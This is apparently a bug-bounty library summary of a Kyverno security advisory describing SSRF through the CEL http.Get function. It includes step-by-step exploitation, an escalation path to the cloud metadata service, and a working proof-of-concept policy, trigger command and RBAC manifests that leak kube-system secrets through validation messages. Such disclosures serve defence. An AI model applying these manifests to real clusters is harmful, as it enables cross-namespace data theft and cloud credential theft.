# Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access

Kyverno's CEL http.Get/http.Post lack URL restrictions, letting namespace-scoped policy authors SSRF internal services and cloud metadata, exfiltrating data via validation error messages.

- Payout: Research
- Severity: high
- Program: Kyverno
- Found by: iggypopi, stepanskyigor-orca, copethomas
- Disclosed: 2026-04-14
- CVE: CVE-2026-4789
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-rggm-jjmc-3394
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-rggm-jjmc-3394
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:access-control vuln:ssrf

**Target:** Kyverno admission controller CEL HTTP library (pkg/cel/libs/http)
**Root cause:** The CEL http.Lib Get/Post functions build requests with no URL validation, blocklist, or namespace restriction, unlike resource.Lib which enforces namespace boundaries for namespaced policies.
**Steps:**
1. Create namespace attacker-ns with a ServiceAccount bound to a Role granting create on namespacedvalidatingpolicies and configmaps.
2. Deploy an internal service in kube-system (e.g. internal-api) returning secret JSON.
3. Confirm the attacker SA cannot read kube-system directly via `kubectl auth can-i get pods -n kube-system`.
4. As the attacker SA, apply a NamespacedValidatingPolicy with variable `http.Get('http://internal-api.kube-system.svc.cluster.local')` and a messageExpression concatenating `variables.stolenData['secret']` and `['token']`.
5. Trigger the policy by creating a configmap in attacker-ns; the webhook denial message returns the leaked secret and token.
**How found:** Compared the CEL http.Lib code path against resource.Lib, noticing resource.Lib takes a namespace parameter and enforces boundaries while http.Lib's Get builds requests with no validation; recognized it as a distinct unfixed code path from prior apiCall SSRF advisories.
**Exploitation:** Attacker with only namespace-scoped policy-create rights authors a NamespacedValidatingPolicy whose CEL variable calls http.Get against an arbitrary URL (cross-namespace service or 169.254.169.254 metadata). Triggering any matching resource causes the admission webhook to fetch the URL and reflect the response body into the validation failure message, exfiltrating the data to the attacker.
**Escalation:** Pointing http.Get at cloud metadata endpoints (169.254.169.254) to steal AWS/GCP/Azure IAM credentials, escalating from namespace-scoped to cloud-level access.
**Insight:** When a policy engine exposes both a namespace-scoped data-access library and a generic HTTP library, diff their constructors: any lib lacking the namespace parameter is a candidate for isolation bypass, and error/messageExpression fields are reliable exfil channels.

## Proof of concept (copied exactly from the original report)

**Malicious NamespacedValidatingPolicy using http.Get SSRF**

```
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
  name: cel-ssrf-poc
  namespace: attacker-ns
spec:
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources: ["configmaps"]
  variables:
    - name: stolenData
      expression: |
        http.Get('http://internal-api.kube-system.svc.cluster.local')
  validations:
    - expression: "false"
      message: "Validation failed"
      messageExpression: |
        'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']
```

**Trigger configmap to exfiltrate secret**

```
kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
  --as=system:serviceaccount:attacker-ns:namespace-admin
```

**RBAC role granting namespaced policy creation**

```
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: namespace-admin-role
  namespace: attacker-ns
rules:
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["create", "get", "list"]
  - apiGroups: ["policies.kyverno.io"]
    resources: ["namespacedvalidatingpolicies"]
    verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: namespace-admin-binding
  namespace: attacker-ns
subjects:
  - kind: ServiceAccount
    name: namespace-admin
    namespace: attacker-ns
roleRef:
  kind: Role
  name: namespace-admin-role
  apiGroup: rbac.authorization.k8s.io
```

